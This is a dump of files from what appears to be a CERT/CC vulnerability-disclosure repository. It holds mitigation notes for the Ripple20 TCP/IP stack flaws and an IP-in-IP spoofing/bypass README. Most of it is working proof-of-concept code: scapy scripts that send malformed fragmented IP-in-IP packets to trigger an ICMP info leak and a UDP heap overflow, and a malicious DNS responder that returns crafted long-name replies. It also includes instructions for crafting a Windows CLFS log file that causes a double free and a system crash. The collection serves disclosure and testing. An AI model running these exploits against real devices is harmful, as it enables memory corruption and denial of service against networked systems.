[RFC-5095](https://www.ietf.org/rfc/rfc5095.html), see also [VU#267289](https://www.kb.cert.org/vuls/id/267289) 4 | 3. CVE-2020-11898, CVE-202-11900 and CVE‑2020‑11902 can be mitigated by disabling or blocking IP-in-IP tunneling if is not supported or required in your environment. More information can be found here [VU#636397](https://kb.cert.org/vuls/id/636397) 5 | 4. CVE-2020-11899 can be mitigated by dropping IPv6 packets addressed to multicast destination ff00::/8 6 | 5. CVE-2020-11901 can be mitigated by normalizing DNS responses through DNS deep packet inspection or by a secure DNS recursion server. 7 | 6. CVE‑2020‑11903 and CVE‑2020‑11905 can be mitigated by disabling DHCP and DHCPv6 clients, ensuring the DHCP Relay option [RFC3046](https://tools.ietf.org/html/rfc3046) is not enabled, and the local area network switch has capabilities such as DHCP-snooping to reduce risk of DHCP abuse on the target device. 8 | 7. CVE-2020-11910 and CVE-2020-11911 can be mitigated by blocking unsupported ICMP messages such as ICMPv4 type 3, code 4, packets (MTU update) and ICMP type 18 code 0, packets (Address Mask Reply). These messages are not required in most end device network environments. 9 | 8. CVE-2020-11913 and CVE-2020-11914 can be mitigated by ensuring use of reliable Ethernet hardware that rejects runt frames uses proper device driver protections to reject malformed Ethernet frames. 10 | 9. CVE-2020-11912 can be mitigated by a firewall device or NAT device that inspects TCP SACK (Select Acknowledgement) and TCP timestamp options, rejecting any malformed packets. 11 | -------------------------------------------------------------------------------- /cve-2020-10136/README.md: -------------------------------------------------------------------------------- 1 | # cve-2020-10136 2 | You can use this code to verify if your device supports default IP-in-IP 3 | encapsulation from arbitrary sources to arbitrary destinations. The intended 4 | use of this code requires at least two more devices with distinct IP 5 | addresses for these two devices. The testing in "bypass" mode requires 6 | the vulnerable device to be "dual-homed" so routing to the "inside" 7 | network from an external network interface can be verified. 8 | 9 | Spoof mode: 10 | ![Spoof mode](spoof.png) 11 | 12 | The demonstration script can be used in two ways - spoof mode and 13 | bypass mode. Initial setup requires at least three devices for this 14 | testing. In the simple spoofing mode, attacker will send a IP-in-IP 15 | packet from their device to a vulnerable machine 16 | (VULNERABLE_MACHINE_IP sys.argv[1]) to replay a packet to the victim's 17 | device (VICTIM_IP sys.argv[2]). This mode demonstrates a DDOS 18 | capability to send unsolicited traffic to VICTIM_IP. Because this 19 | packet has valid source and destination, anti-spoofing measure such as 20 | BCP-38 will not block this crafted packet. The intended traffic can be 21 | routed through the VULNERABLE_IP to the VICTIM_IP device by an 22 | unauthenticated attacker. 23 | 24 | Bypass mode: 25 | ![Bypass mode](bypass.png) 26 | 27 | In the bypass mode (using all 4 arguments for the script), the 28 | attacker will send a crafted IP-in-IP packet from the attacker's 29 | device to a vulnerable device (VULNERABLE_MACHINE_IP sys.argv[1]). The 30 | vulnerable device will receive and decapsulate the packet and forward 31 | the inner IP packet to the victim device (VICTIM_IP sys.argv[2]) 32 | machine with a source IP Address of DATA_COLLECT_IP (sys.argv[3]). The 33 | attacker can thus solicit information using the sample SNMP query to 34 | be sent to DATA_COLLECT_IP which he has access to. In the provided 35 | example, device at the VICTIM_IP address is assumed to have SNMP 36 | enabled with the standard "public" community string for read-only 37 | access. SNMP is being demonstrated here, but this forwarding behavior 38 | can allow for many types of unexpected IP traffic to traverse using 39 | the vulnerable machine as a forwarding point for any nefarious 40 | communications as planned by the attacker. 41 | -------------------------------------------------------------------------------- /.github/workflows/process_commits.yml: -------------------------------------------------------------------------------- 1 | name: process_commits 2 | 3 | on: 4 | push: 5 | branches: 6 | - master 7 | - main 8 | tags-ignore: 9 | - simple_driller 10 | paths-ignore: 11 | - '.github/**' 12 | 13 | workflow_dispatch: 14 | 15 | jobs: 16 | add_tags: 17 | # The type of runner that the job will run on 18 | runs-on: ubuntu-latest 19 | 20 | steps: 21 | # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it 22 | - uses: actions/checkout@v2 23 | with: 24 | fetch-depth: 0 25 | path: code_to_process 26 | token: ${{secrets.VUL_DRILLER_TOKEN}} 27 | 28 | - uses: actions/checkout@v2 29 | with: 30 | repository: CERTCC/git_vul_driller 31 | path: git_vul_driller 32 | 33 | # Sets up python 34 | - uses: actions/setup-python@v2 35 | with: 36 | python-version: '3.8' 37 | 38 | - name: config 39 | run: | 40 | git config --global user.name 'certcc-ghbot' 41 | git config --global user.email 'cert+ghbot@cert.org' 42 | 43 | - name: setup my env 44 | run: | 45 | pushd git_vul_driller 46 | python --version 47 | pip install -r simple_driller_requirements.txt 48 | python setup.py install 49 | 50 | - name: process commits 51 | run: | 52 | # env 53 | echo WORKSPACE ${GITHUB_WORKSPACE} 54 | REPOPATH=${GITHUB_WORKSPACE}/code_to_process 55 | echo REPOPATH ${REPOPATH} 56 | pushd ${GITHUB_WORKSPACE} 57 | touch new_tags.txt 58 | simple_driller ${REPOPATH} 59 | 60 | - name: push new_tags 61 | run: | 62 | pushd ${GITHUB_WORKSPACE}/code_to_process 63 | # github tends to choke when you try to push too many tags at once 64 | cat ${GITHUB_WORKSPACE}/new_tags.txt | xargs -n100 git push --force origin 65 | 66 | - name: remove simple_driller tag 67 | run: | 68 | pushd ${GITHUB_WORKSPACE}/code_to_process 69 | git push --delete origin simple_driller 70 | 71 | - name: add simple_driller tag 72 | if: ${{ always() }} 73 | run: | 74 | pushd ${GITHUB_WORKSPACE}/code_to_process 75 | git push origin simple_driller 76 | -------------------------------------------------------------------------------- /vu-257161/scripts/icmp_infoleak.py: -------------------------------------------------------------------------------- 1 | '''/******************************************************* 2 | * Copyright (C) 2019-2020 JSOF LTD info@jsof-tech.com> 3 | * 4 | * 5 | * this poc can not be copied and/or distributed and/or modified without the express 6 | * permission of Shlomi Oberman, JSOF 7 | * Unauthorized copying of this file, via any medium is strictly prohibited 8 | * 9 | * Proprietary and confidential 10 | * 11 | *******************************************************/ 12 | ''' 13 | from scapy.all import * 14 | import argparse 15 | from common import iface_win_index_to_description 16 | 17 | def main(iface, ip_dst, timeout): 18 | print("[*] Sending malformed ipip packet that would generate ICMP error...") 19 | 20 | iplen = 100 21 | encap_packet = IP(ihl=0xf, dst=ip_dst, len=iplen) 22 | encap_packet /= (b'\x00'*40) 23 | encap_packet /= (b'A'*iplen) 24 | 25 | frag1 = IP(dst=ip_dst, frag=0, flags=1, proto=4, id=0) 26 | frag1_data_len = 24 27 | frag1_data = bytes(encap_packet)[:frag1_data_len] 28 | frag1 /= frag1_data 29 | 30 | frag2 = IP(dst=ip_dst, frag=(frag1_data_len>>3), flags=0, proto=4, id=0) 31 | frag2 /= bytes(encap_packet)[frag1_data_len:] 32 | 33 | send(frag1, iface=iface) 34 | send(frag2, iface=iface) 35 | sniffed = sniff(timeout=timeout, iface=iface) 36 | for pkt in sniffed: 37 | if ICMP in pkt and pkt[ICMP].type == 3: 38 | print("\t-> Got dest unreachable from {}".format(pkt[IP].src)) 39 | hexdump(pkt[ICMP]) 40 | break 41 | if ICMP in pkt: 42 | print("\t[{}]".format(pkt.summary())) 43 | 44 | if __name__ == '__main__': 45 | conf.verb = 0 # make scapy silent 46 | 47 | parser = argparse.ArgumentParser() 48 | parser.add_argument('ip_dst', help="destination IP address") 49 | parser.add_argument('-t', '--timeout', type=int, default=3, help="packet sniffing timeout (for the response)") 50 | parser.add_argument('-i', '--iface', default=None, nargs='?', 51 | help="interface name as shown in scapy's show_interfaces() function") 52 | parser.add_argument('-og', '--override-gateway', dest='gw', default=None, const='use_ip_dst', type=str, nargs='?', 53 | help='override gateway for ip_dst in scapy routing table') 54 | args = parser.parse_args() 55 | 56 | gw = None 57 | if args.gw: 58 | if args.gw == 'use_ip_dst': 59 | gw = args.ip_dst 60 | else: 61 | gw = args.gw 62 | if gw: 63 | conf.route.add(host=(args.ip_dst), gw=gw) 64 | 65 | iface = args.iface 66 | if iface is not None and iface.isdigit(): 67 | iface = iface_win_index_to_description(int(iface)) 68 | 69 | main(iface, args.ip_dst, args.timeout) -------------------------------------------------------------------------------- /cve-2021-36955/README.md: -------------------------------------------------------------------------------- 1 | # cve-2021-36955 2 | 3 | ## Vulnerability Info 4 | https://blog.exodusintel.com/2022/03/10/exploiting-a-use-after-free-in-windows-common-logging-file-system-clfs/ 5 | 6 | ## PoC Crasher 7 | ### Overview 8 | The proof-of-concept is very simple, just code to open and close a log file, using `CreateLogFile()` and `CloseHandle()`. 9 | 10 | If the log file `test_log.blf` does NOT exist it will be created. 11 | If the log file `test_log.blf` does exist, then the existing file will be opened. 12 | 13 | The file `test_log_crafted.blf` has been modified, such that when opened by `CreateLogFile()`, it will trigger the vulnerability on unpatched systems. The provided proof-of-concept causes a double free when `CloseHandle()` is called, resulting in a BSOD for a BAD_POOL_HEADER. 14 | 15 | ### BLF Layout 16 | 17 | The first 0x200 bytes of test_log.blf are the important bytes. Most of these bytes are 0's (as with the rest of a default newly created file), and only matter for the purposes of the checksum. 18 | 19 | These bytes make up a CLFS_RECORD_HEADER and a CLFS_CONTROL_RECORD. 20 | ![Control Record Sectors](./screenshots/control_record.png) 21 | (Screenshots are taken of the [010 Editor](https://www.sweetscape.com/010editor/)) 22 | 23 | #### Crafting the CLFS_CONTROL_RECORD 24 | The following fields are changed from the default value of 0 to meet the conditions described in the [referenced blog post](https://blog.exodusintel.com/2022/03/10/exploiting-a-use-after-free-in-windows-common-logging-file-system-clfs/) 25 | - `eExtendState` -> 2 26 | - `iExtendBlock` -> 2 27 | - `iFlushBlock` -> 3 28 | - `cNewBlockSectors` -> 3 29 | 30 | After updating these fields, the checksum needs to be updated 31 | The result looks like (the changed bytes are colored orange): 32 | ![Crafted Control Record](./screenshots/crafted.png) 33 | 34 | ##### Checksum Notes 35 | The checksum is calculated over the first 0x200 bytes, with the checksum field zeroed out. 36 | 37 | [Alex Ionescu documents](https://github.com/ionescu007/clfs-docs) that the CRC32 polynomial is `0x04C11DB7`. 38 | However, after some experimentation with the 010 Editor's CRC32 tool and referencing [Michaelangel007's notes](https://github.com/Michaelangel007/crc32) the checksum can be replicated using the 'reverse' fixed polynomial `0xEDB88320`. 39 | (This is the same polynomial, just flipped around from the perspective of 010 Editor's CRC32 implementation.) 40 | 41 | 42 | ## Files 43 | - [scripts](./scripts) 44 | - [BLF.bt](./scripts/BLF.bt) 45 | A partial 010 Editor Template for BLF files 46 | - [BLF_Checksum.1sc](./scripts/BLF_Checksum.1sc) 47 | A 010 Editor Script for updating the Control Record Header checksum. 48 | This script should be used after the `BLF.bt` template has been applied to the file. 49 | - [src](./src) 50 | - [poc.c](./src/poc.c) 51 | A simple C program to open and close a log file. 52 | - [Makefile](./src/Makefile) 53 | A simple Makefile with the gcc invocation used to compile `poc.exe` 54 | MinGW is used to compile on Windows. 55 | - [test_log_crafted.blf](./src/test_log_crafted.blf) 56 | a crafted version of a default BLF file created by running `poc.exe` without `test_log.blf` existing. -------------------------------------------------------------------------------- /vu-257161/scripts/pattern.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | from string import ascii_uppercase, ascii_lowercase, digits 5 | 6 | MAX_PATTERN_LENGTH = 20280 7 | 8 | class MaxLengthException(Exception): 9 | pass 10 | 11 | class WasNotFoundException(Exception): 12 | pass 13 | 14 | 15 | def pattern_gen(length): 16 | """ 17 | Generate a pattern of a given length up to a maximum 18 | of 20280 - after this the pattern would repeat 19 | """ 20 | if length >= MAX_PATTERN_LENGTH: 21 | raise MaxLengthException('ERROR: Pattern length exceeds ' 22 | 'maximum of {0}'.format(MAX_PATTERN_LENGTH)) 23 | 24 | pattern = '' 25 | for upper in ascii_uppercase: 26 | for lower in ascii_lowercase: 27 | for digit in digits: 28 | if len(pattern) < length: 29 | pattern += upper+lower+digit 30 | else: 31 | out = pattern[:length] 32 | return out 33 | 34 | 35 | def pattern_search(search_pattern): 36 | """ 37 | Search for search_pattern in pattern. Convert from hex if needed 38 | Looking for needle in haystack 39 | """ 40 | needle = search_pattern 41 | 42 | try: 43 | if needle.startswith('0x'): 44 | # Strip off '0x', convert to ASCII and reverse 45 | needle = needle[2:] 46 | needle = bytearray.fromhex(needle).decode('ascii') 47 | needle = needle[::-1] 48 | except (ValueError, TypeError) as e: 49 | raise 50 | 51 | haystack = '' 52 | for upper in ascii_uppercase: 53 | for lower in ascii_lowercase: 54 | for digit in digits: 55 | haystack += upper+lower+digit 56 | found_at = haystack.find(needle) 57 | if found_at > -1: 58 | return found_at 59 | 60 | raise WasNotFoundException('Couldn`t find {0} ({1}) ' 61 | 'anywhere in the pattern.'.format(search_pattern, 62 | needle)) 63 | 64 | 65 | def print_help(): 66 | print('Usage: {0} [LENGTH|PATTERN]\n'.format(sys.argv[0])) 67 | print('Generate a pattern of length LENGTH or search for PATTERN and ') 68 | print('return its position in the pattern.\n') 69 | 70 | 71 | if __name__ == '__main__': 72 | if len(sys.argv) < 2: 73 | print_help() 74 | sys.exit(0) 75 | 76 | if sys.argv[1] == '-h' or sys.argv[1] == '--help': 77 | print_help() 78 | sys.exit(0) 79 | 80 | if sys.argv[1].isdigit(): 81 | try: 82 | pat = pattern_gen(int(sys.argv[1])) 83 | print(pat) 84 | except MaxLengthException as e: 85 | print(e) 86 | else: 87 | try: 88 | found = pattern_search(sys.argv[1]) 89 | print('Pattern {0} first occurrence at ' 90 | 'position {1} in pattern.'.format(sys.argv[1], found)) 91 | except WasNotFoundException as e: 92 | print(e) 93 | sys.exit(1) 94 | except (ValueError, TypeError): 95 | print('Unable to convert hex input for searching. Invalid hex?') 96 | sys.exit(1) 97 | 98 | -------------------------------------------------------------------------------- /cve-2021-36955/scripts/BLF.bt: -------------------------------------------------------------------------------- 1 | //------------------------------------------------ 2 | //--- 010 Editor v12.0.1 Binary Template 3 | // 4 | // File: BLF.bt 5 | // Authors: 6 | // Version: 7 | // Purpose: 010 Editor Template for Base Log Files (BLF), 8 | // used by the Windows CLFS 9 | // Category: 10 | // File Mask: 11 | // ID Bytes: 12 | // History: 13 | //------------------------------------------------ 14 | typedef QWORD ULONGLONG; 15 | typedef QWORD PUCHAR; 16 | typedef DWORD CLFS_CLIENT_ID; 17 | 18 | typedef QWORD CLFS_LSN; 19 | 20 | 21 | typedef struct _CLFS_RECORD_HEADER 22 | { 23 | UCHAR MajorVersion ; 24 | UCHAR MinorVersion ; 25 | UCHAR Usn ; 26 | UCHAR StreamIndex ; 27 | USHORT TotalSectorCount ; 28 | USHORT ValidSectorCount ; 29 | ULONG Padding; 30 | ULONG Checksum ; 31 | ULONG Flags; 32 | ULONG Padding; 33 | CLFS_LSN CurrentLsn ; 34 | CLFS_LSN NextLsn ; 35 | ULONG RecordOffsets[16]; 36 | ULONG SignaturesOffset; 37 | ULONG Padding; 38 | } CLFS_RECORD_HEADER; 39 | 40 | 41 | typedef enum _CLFS_METADATA_BLOCK_TYPE 42 | { 43 | ClfsMetaBlockControl, 44 | ClfsMetaBlockControlShadow, 45 | ClfsMetaBlockGeneral, 46 | ClfsMetaBlockGeneralShadow, 47 | ClfsMetaBlockScratch, 48 | ClfsMetaBlockScratchShadow 49 | } CLFS_METADATA_BLOCK_TYPE; 50 | 51 | typedef enum _CLFS_EXTEND_STATE 52 | { 53 | ClfsExtendStateNone, 54 | ClfsExtendStateExtendingFsd, 55 | ClfsExtendStateFlushingBlock 56 | } CLFS_EXTEND_STATE; 57 | 58 | typedef enum _CLFS_TRUNCATE_STATE 59 | { 60 | ClfsTruncateStateNone, 61 | ClfsTruncateStateModifyingStream, 62 | ClfsTruncateStateSavingOwner, 63 | ClfsTruncateStateModifyingOwner, 64 | ClfsTruncateStateSavingDiscardBlock, 65 | ClfsTruncateStateModifyingDiscardBlock 66 | } CLFS_TRUNCATE_STATE; 67 | 68 | typedef struct _CLFS_METADATA_RECORD_HEADER 69 | { 70 | ULONGLONG ullDumpCount; 71 | } CLFS_METADATA_RECORD_HEADER; 72 | 73 | typedef struct _CLFS_METADATA_BLOCK 74 | { 75 | PUCHAR pbImage ; 76 | ULONG cbImage ; 77 | ULONG cbOffset ; 78 | CLFS_METADATA_BLOCK_TYPE eBlockType; 79 | } CLFS_METADATA_BLOCK; 80 | 81 | typedef struct _CLFS_TRUNCATE_CONTEXT 82 | { 83 | CLFS_TRUNCATE_STATE eTruncateState; 84 | CLFS_CLIENT_ID cClients; 85 | CLFS_CLIENT_ID iClient; 86 | CLFS_LSN lsnOwnerPage; 87 | CLFS_LSN lsnLastOwnerPage; 88 | ULONG cInvalidSector; 89 | } CLFS_TRUNCATE_CONTEXT; 90 | 91 | 92 | typedef struct _CLFS_CONTROL_RECORD 93 | { 94 | CLFS_METADATA_RECORD_HEADER hdrControlRecord; 95 | ULONGLONG ullMagicValue ; 96 | UCHAR Version; 97 | UCHAR cReserved; 98 | UCHAR cReserved; 99 | UCHAR cReserved; 100 | CLFS_EXTEND_STATE eExtendState; 101 | USHORT iExtendBlock; 102 | USHORT iFlushBlock; 103 | ULONG cNewBlockSectors; 104 | ULONG cExtendStartSectors; 105 | ULONG cExtendSectors; 106 | CLFS_TRUNCATE_CONTEXT cxTruncate; 107 | USHORT cBlocks; 108 | USHORT cReserved; 109 | ULONG cReserved; 110 | CLFS_METADATA_BLOCK rgBlocks[cBlocks]; 111 | } CLFS_CONTROL_RECORD; 112 | 113 | 114 | 115 | CLFS_RECORD_HEADER CRRecordHeader; 116 | CLFS_CONTROL_RECORD ControlRecord; 117 | 118 | FSeek(0x400); 119 | CLFS_RECORD_HEADER CRSRecordHeader; 120 | CLFS_CONTROL_RECORD ControlRecordShadow; 121 | 122 | FSeek(0x800); 123 | CLFS_RECORD_HEADER GRecordHeader; 124 | -------------------------------------------------------------------------------- /vu-257161/scripts/dns_responder.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | from argparse import ArgumentParser 3 | import struct 4 | import base64 5 | from dns_long_name import * 6 | 7 | def p32(b): 8 | return struct.pack(">I", b) # big-endian 9 | 10 | def p16(b): 11 | return struct.pack(">H", b) # big-endian 12 | 13 | def p8(b): 14 | return struct.pack(">B", b) # big-endian 15 | 16 | class DnsResponder(AnsweringMachine): 17 | filter = "udp port 53" 18 | 19 | RESPONDER_TYPE_ANY = 'ANY' 20 | SUPPORTED_RESPONDER_TYPES = ['A', 'AAAA', 'MX', RESPONDER_TYPE_ANY] 21 | DNS_HDR_LEN = 0xc 22 | JOKER_IP = '66.66.66.66' # Bogus IP address returned by the responder 23 | DNS_IN_CLASS = 0x1 24 | 25 | def __init__(self, responder_type, **kwargs): 26 | AnsweringMachine.__init__(self, **kwargs) 27 | 28 | self.qtype_to_rpl_func = { 29 | 0x1: DnsResponder.build_reply_A, 30 | 0xf: DnsResponder.build_reply_MX, 31 | 0x1c: DnsResponder.build_reply_AAAA 32 | } 33 | 34 | self.dns_types = { 35 | DnsResponder.RESPONDER_TYPE_ANY: 0x0, # sentinel type 36 | 'A': 0x1, 37 | 'NS': 0x2, 38 | 'CNAME': 0x5, 39 | 'PTR': 0xc, 40 | 'MX': 0xf, 41 | 'AAAA': 0x1c 42 | } 43 | 44 | self.responder_type = self.dns_types[responder_type] 45 | 46 | def type2name(self, t): 47 | for named_type, type_value in self.dns_types.items(): 48 | if type_value == t: 49 | return named_type 50 | return '?' 51 | 52 | def print_reply(self, req, reply): 53 | qtype = req[DNS].qd.qtype 54 | print("[+] Reply to type %s(0x%x) query for domain: %s [reply length: 0x%x]" % (self.type2name(qtype), qtype, req[DNS].qd.qname.decode('utf-8'), len(reply[DNS]))) 55 | 56 | def is_request(self, req): 57 | if not req.haslayer(DNS): # DNS packet 58 | return False 59 | dns_req = req.getlayer(DNS) 60 | if dns_req.qr != 0: # DNS query 61 | return False 62 | # check if the responder should respond to any type; if not, check that the query type 63 | # matches the responder type. 64 | if self.responder_type != 0 and dns_req.qd.qtype != self.responder_type: 65 | return False 66 | return True 67 | 68 | def make_reply(self, req): 69 | ip = req.getlayer(IP) 70 | dns = req.getlayer(DNS) 71 | 72 | resp = IP(dst=ip.src, src=ip.dst) / UDP(dport=ip.sport, sport=ip.dport) 73 | resp /= self.get_dns_reply(dns) 74 | 75 | return resp 76 | 77 | def get_dns_reply(self, dns_req): 78 | dns_rpl = self.qtype_to_rpl_func[dns_req.qd.qtype](self, dns_req) 79 | assert len(dns_rpl) <= 0x5b4, "dns packet too long: 0x%x" % len(dns_rpl) 80 | return dns_rpl 81 | 82 | def build_reply_A(self, dns_req): 83 | offset_from_header = DnsResponder.DNS_HDR_LEN + len(dns_req.qd) 84 | #long_name, ref_to_long_name = build_long_name(4, b'X'*63, offset_from_header) 85 | long_name, ref_to_long_name = build_long_name(4, b'000010002001100120021002201010201110112012101220202110212022102', offset_from_header) 86 | 87 | # Header 88 | dns_rpl = DNS(id=dns_req.id, qr=1, qdcount=2, ancount=2) 89 | 90 | # Questions 91 | dns_rpl /= dns_req.qd 92 | dns_rpl /= long_name + p16(self.dns_types['A']) + p16(DnsResponder.DNS_IN_CLASS) 93 | 94 | # Answers 95 | dns_rpl /= DNSRR(rrname=index_to_compression(DnsResponder.DNS_HDR_LEN), 96 | type=self.dns_types['A'], 97 | rdata=DnsResponder.JOKER_IP) 98 | dns_rpl /= DNSRR(rrname=index_to_compression(DnsResponder.DNS_HDR_LEN), 99 | type=self.dns_types['CNAME'], 100 | rdata=ref_to_long_name) 101 | return dns_rpl 102 | 103 | def build_reply_MX(self, dns_req): 104 | offset_from_header = DnsResponder.DNS_HDR_LEN + len(dns_req.qd) 105 | long_name, ref_to_long_name = build_long_name(4, b'X'*63, offset_from_header) 106 | 107 | # Header 108 | dns_rpl = DNS(id=dns_req.id, qr=1, qdcount=2, ancount=1) 109 | 110 | # Questions 111 | dns_rpl /= dns_req.qd 112 | dns_rpl /= long_name + p16(self.dns_types['A']) + p16(DnsResponder.DNS_IN_CLASS) 113 | 114 | # Answers 115 | dns_rpl /= bytes(DNSRRMX(rrname=index_to_compression(DnsResponder.DNS_HDR_LEN), 116 | type=self.dns_types['MX'], 117 | preference=1, 118 | exchange=ref_to_long_name)) 119 | return dns_rpl 120 | 121 | def build_reply_AAAA(self, dns_req): 122 | # Not yet implemented 123 | return None 124 | 125 | def print_headline(msg): 126 | print("="*(len(msg) + 4)) 127 | print("= " + str(msg) + " =") 128 | print("="*(len(msg) + 4)) 129 | 130 | def main(iface, responder_type): 131 | print_headline("DNS Responder started (respond to queries of type: {})".format(responder_type)) 132 | responder = DnsResponder(responder_type, iface=iface) 133 | responder.run() 134 | 135 | if __name__ == '__main__': 136 | parser = ArgumentParser() 137 | 138 | parser.add_argument('-i', '--iface', 139 | dest='iface', 140 | help='The interface to listen for DNS requests on') 141 | parser.add_argument('-t', '--type', dest='responder_type', 142 | default=DnsResponder.RESPONDER_TYPE_ANY, 143 | choices=DnsResponder.SUPPORTED_RESPONDER_TYPES, 144 | help='Respond only to the specified query type (default: {})'.format(DnsResponder.RESPONDER_TYPE_ANY)) 145 | 146 | args = parser.parse_args() 147 | 148 | iface = args.iface 149 | if iface is not None and iface.isdigit(): 150 | iface = IFACES.dev_from_index(int(iface)).description 151 | 152 | main(iface, args.responder_type) -------------------------------------------------------------------------------- /vu-257161/scripts/ip4_tun_udp.py: -------------------------------------------------------------------------------- 1 | '''/******************************************************* 2 | * Copyright (C) 2019-2020 JSOF LTD info@jsof-tech.com> 3 | * 4 | * 5 | * this poc can not be copied and/or distributed and/or modified without the express 6 | * permission of Shlomi Oberman, JSOF 7 | * Unauthorized copying of this file, via any medium is strictly prohibited 8 | * 9 | * Proprietary and confidential 10 | * 11 | *******************************************************/ 12 | ''' 13 | # 14 | # Sending malformed udp packets that trigger heap overflow bug. 15 | # Bening udp are sent in order to make the udp receive queue non-empty when a malformed packet is being processed. 16 | # 17 | from scapy.all import * 18 | import argparse 19 | import threading 20 | from common import iface_win_index_to_description 21 | 22 | VERBOSE_LEVEL = 0 23 | 24 | MALFORMED_THREAD_FLAG = False 25 | BENIGN_THREAD_FLAG = False 26 | 27 | MALFORMED_PAYLOAD = b'A'*1000 28 | BENIGN_PAYLOAD = b'X'*50 29 | 30 | sock = None 31 | 32 | def vprint(*args, **kwargs): 33 | if VERBOSE_LEVEL > 0: 34 | print(*args, **kwargs) 35 | 36 | def send_benign(iface, ip_dst, udp_dport, udp_sport, count): 37 | global BENIGN_THREAD_FLAG 38 | 39 | benign_udp = IP(dst=ip_dst)/UDP(sport=udp_sport, dport=udp_dport)/BENIGN_PAYLOAD 40 | if count > 0: 41 | vprint("[*] sending {} benign udp packets".format(count if count > 0 else "infinite")) 42 | for _ in range(count): 43 | sock.send(benign_udp) 44 | else: 45 | while True: 46 | sock.send(benign_udp) 47 | if BENIGN_THREAD_FLAG: 48 | break 49 | vprint("[*] -> finish benign") 50 | 51 | 52 | def send_malformed(iface, ip_dst, udp_dport, udp_sport, count): 53 | global MALFORMED_THREAD_FLAG 54 | 55 | payload = MALFORMED_PAYLOAD 56 | iplen = 32 57 | encap_packet = IP(dst=ip_dst, len=iplen) 58 | encap_packet /= UDP(sport=udp_sport, dport=udp_dport, chksum=0, len=iplen-20) 59 | encap_packet /= payload 60 | 61 | frag1 = IP(dst=ip_dst, frag=0, flags=1, proto=4, id=0) 62 | frag1_data_len = 40 63 | frag1_data = bytes(encap_packet)[:frag1_data_len] 64 | frag1 /= frag1_data 65 | 66 | frag2 = IP(dst=ip_dst, frag=(frag1_data_len>>3), flags=0, proto=4, id=0) 67 | frag2 /= bytes(encap_packet)[frag1_data_len:] 68 | 69 | vprint("[*] sending {} malformed ip/udp packets".format(count if count > 0 else "infinite")) 70 | ip_id = 1 71 | it_num = 0 72 | while count <= 0 or it_num < count: 73 | frag1[IP].id = ip_id 74 | frag2[IP].id = ip_id 75 | 76 | sock.send(frag1) 77 | sock.send(frag2) 78 | 79 | it_num += 1 80 | ip_id = (ip_id + 1) % 0x10000 81 | 82 | if MALFORMED_THREAD_FLAG: 83 | break 84 | 85 | vprint("[*] -> finish malformed") 86 | 87 | 88 | def main(iface, ip_dst, udp_dport, udp_sport, malformed_count, benign_count, thread_count, timeout): 89 | global MALFORMED_THREAD_FLAG 90 | global BENIGN_THREAD_FLAG 91 | 92 | vprint("[+] interface: ", iface) 93 | vprint("[+] ip_dst: ", ip_dst) 94 | vprint("[+] udp destination port: ", udp_dport) 95 | vprint("[+] udp source port: ", udp_sport) 96 | 97 | vprint("[*] starting {} benign threads".format(thread_count)) 98 | bthreads = [] 99 | for _ in range(thread_count): 100 | t = threading.Thread(target=send_benign, 101 | args=(iface, ip_dst, udp_dport, udp_sport, benign_count)) 102 | bthreads.append(t) 103 | t.start() 104 | 105 | vprint("[*] starting malformed thread") 106 | malformed_thread = threading.Thread(target=send_malformed, 107 | args=(iface, ip_dst, udp_dport, udp_sport, malformed_count)) 108 | malformed_thread.start() 109 | 110 | if timeout > 0: 111 | time.sleep(timeout) 112 | MALFORMED_THREAD_FLAG = True 113 | BENIGN_THREAD_FLAG = True 114 | 115 | for t in bthreads: 116 | t.join() 117 | malformed_thread.join() 118 | vprint("[*] finish!") 119 | 120 | 121 | if __name__ == '__main__': 122 | conf.verb = 0 # make scapy silent 123 | 124 | parser = argparse.ArgumentParser() 125 | parser.add_argument('ip_dst', help="destination IP address") 126 | parser.add_argument('udp_dport', type=int, default=7, nargs='?', 127 | help="destination UDP port (Default: 7 (echo))") 128 | parser.add_argument('udp_sport', type=int, default=7, nargs='?', 129 | help="source UDP port (Default: 7 (echo))") 130 | parser.add_argument('-t', '--thread-count', dest='thread_count', type=int, default=3, 131 | help="benign thread count (Default: 3)") 132 | parser.add_argument('-mc', '--malformed-count', dest='malformed_count', type=int, default=0, 133 | help="how many malformed packets to send? (Default: 0, infinite)") 134 | parser.add_argument('-bc', '--benign-count', dest='benign_count', type=int, default=0, 135 | help="how many benign packets to send? (Default: 0, infinite)") 136 | parser.add_argument('-i', '--iface', default=None, nargs='?', 137 | help="interface name as shown in scapy's show_interfaces() function") 138 | parser.add_argument('-og', '--override-gateway', dest='gw', default=None, const='use_ip_dst', type=str, nargs='?', 139 | help='override gateway for ip_dst in scapy routing table') 140 | parser.add_argument('-v', '--verbose', default=0, action='count', 141 | help="how much output you'd like") 142 | parser.add_argument('--timeout', dest='timeout', type=int, default=10, 143 | help='timeout to break infinite loop (default: 10), put 0 to disable') 144 | args = parser.parse_args() 145 | 146 | VERBOSE_LEVEL = args.verbose 147 | 148 | gw = None 149 | if args.gw: 150 | if args.gw == 'use_ip_dst': 151 | gw = args.ip_dst 152 | else: 153 | gw = args.gw 154 | if gw: 155 | conf.route.add(host=(args.ip_dst), gw=gw) 156 | 157 | iface = args.iface 158 | if iface is not None and iface.isdigit(): 159 | iface = iface_win_index_to_description(int(iface)) 160 | 161 | sock = conf.L3socket(iface=iface) 162 | main(iface, 163 | args.ip_dst, 164 | args.udp_dport, 165 | args.udp_sport, 166 | args.malformed_count, 167 | args.benign_count, 168 | args.thread_count, 169 | args.timeout) -------------------------------------------------------------------------------- /vu-257161/scripts/tun_exploit.py: -------------------------------------------------------------------------------- 1 | '''/******************************************************* 2 | * Copyright (C) 2019-2020 JSOF LTD info@jsof-tech.com> 3 | * 4 | * 5 | * this poc can not be copied and/or distributed and/or modified without the express 6 | * permission of Shlomi Oberman, JSOF 7 | * Unauthorized copying of this file, via any medium is strictly prohibited 8 | * 9 | * Proprietary and confidential 10 | * 11 | *******************************************************/ 12 | ''' 13 | # 14 | # Sending malformed udp packets that trigger heap overflow bug. 15 | # Bening udp are sent in order to make the udp receive queue non-empty when a malformed packet is being processed. 16 | # 17 | from scapy.all import * 18 | import argparse 19 | import threading 20 | from common import iface_win_index_to_description 21 | 22 | VERBOSE_LEVEL = 0 23 | 24 | MALFORMED_THREAD_FLAG = False 25 | BENIGN_THREAD_FLAG = False 26 | 27 | MALFORMED_PAYLOAD = b'A'*1000 28 | BENIGN_PAYLOAD = b'X'*50 29 | 30 | sock = None 